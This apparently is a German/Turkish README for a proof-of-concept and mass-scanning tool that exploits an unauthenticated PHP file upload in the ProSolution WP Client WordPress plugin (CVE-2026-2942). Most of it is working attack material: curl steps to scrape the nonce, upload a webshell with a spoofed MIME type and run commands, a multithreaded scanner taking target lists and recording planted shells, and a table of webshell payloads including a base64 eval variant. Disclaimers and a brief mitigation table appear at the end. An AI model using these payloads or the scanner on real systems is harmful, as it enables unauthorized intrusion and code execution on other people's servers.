
Automatisierter Scanner für nicht authentifizierte willkürliche Dateiuploads und Remote-Code-Ausführung in ProSolution WP Client (CVE-2026-2942). Unterstützt Multithread-Scanning, MIME-Spoofing, Shell-Überprüfung und Proxy-Unterstützung für Penetrationstests.
Plugin: prosolution-wp-client
Betroffene Version: <= 1.9.9
Anfälligkeitstyp: Unauthenticated Arbitrary File Upload → Remote Code Execution
Risikostufe: 🔴 Kritisch (CVSS 9.8)
Anforderung: Öffentliche Seite mit[prosolfrontend]-Shortcode
Die AJAX-Aktion proSol_fileUploadProcess des ProSolution WP Client Plugins überprüft den MIME-Typ der hochgeladenen Dateien, validiert jedoch nicht die Dateierweiterung.
Ein Angreifer kann eine Datei mit der Erweiterung .php mit dem MIME-Typ image/jpeg senden und so ohne Authentifizierung eine Webshell auf dem Server ablegen.
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.
prosolution-wp-client aktiv (Version <= 1.9.9)[prosolfrontend] enthältBesuchen Sie eine öffentliche Seite mit dem Shortcode [prosolfrontend] und extrahieren Sie den Wert von prosolObj.nonce aus dem Quellcode:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Im Quellcode zu suchende Struktur:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Senden Sie die .php-Datei mit dem Content-Type image/jpeg:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Erwartete Antwort:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"und"rename_status": true→ Die.php-Datei wurde erfolgreich gespeichert.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # Adım 3'teki newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Erwartete Ausgabe:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ Unauthenticated RCE achieved.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
uploads/-Verzeichnis .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
Dieses Tool und PoC sind nur für die Verwendung auf autorisierten Systemen, zu Bildungszwecken und im Rahmen von Penetrationstests bestimmt.
Die Nutzung auf nicht autorisierten Systemen stellt eine Straftat gemäß den Artikeln 243-245 des türkischen Strafgesetzbuches und internationaler Cyberkriminalitätsgesetze dar.
Der Entwickler übernimmt keine rechtliche Verantwortung für Missbrauch des Tools.
MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.
| Parameter | Kurz | Beschreibung | Standard |
|---|
--url | -u | Einzelne Ziel-URL | — |
--list | -l | Ziel-Listendatei | — |
--threads | -t | Anzahl der Threads | 10 |
--output | -o | Ausgabedatei | uploaded.txt |
--shell-name | — | Hochzuladender Dateiname | shell.php |
--shell-type | — | Shell-Typ | system |
--verify | — | RCE-Test nach Upload | False |
--verify-cmd | — | Validierungsbefehl | id |
--proxy | — | Proxy-URL | — |
--timeout | — | Anfrage-Timeout (Sek.) | 10 |
| Typ | Payload | Beschreibung |
|---|
system | <?php system($_GET["cmd"]); ?> | Einfacher Systembefehl |
passthru | <?php passthru($_GET["cmd"]); ?> | Rohausgabe |
exec | <?php echo exec($_GET["cmd"]); ?> | Stille Ausführung |
assert | <?php assert($_POST["cmd"]); ?> | eval per POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64-Verschleierung |
full | shell_exec + system + exec fallback | Vollumfassende Shell |
| Status | Beschreibung |
|---|
★ UPLOADED | Shell erfolgreich hochgeladen |
✓ RCE OK | Shell validiert, Befehl ausgeführt |
- BLOCKED | Server hat PHP-Erweiterung blockiert |
~ TIMEOUT | Verbindungs-Timeout |
~ CONN_ERR | Verbindungsfehler |
! HTTP_ERR | HTTP-Fehlercode |
| Maßnahme | Umsetzung |
|---|
| PHP-Ausführung blockieren | .htaccess zum uploads/-Verzeichnis hinzufügen |
| Plugin-Update | Auf Version > 1.9.9 aktualisieren oder entfernen |
| Erweiterungs-Whitelist | Serverseitig nur erlaubte Erweiterungen zulassen |
| MIME-Validierung | Echte Inhaltsprüfung mit finfo_file() |
| WAF-Regel | .php-Upload-Anfragen blockieren |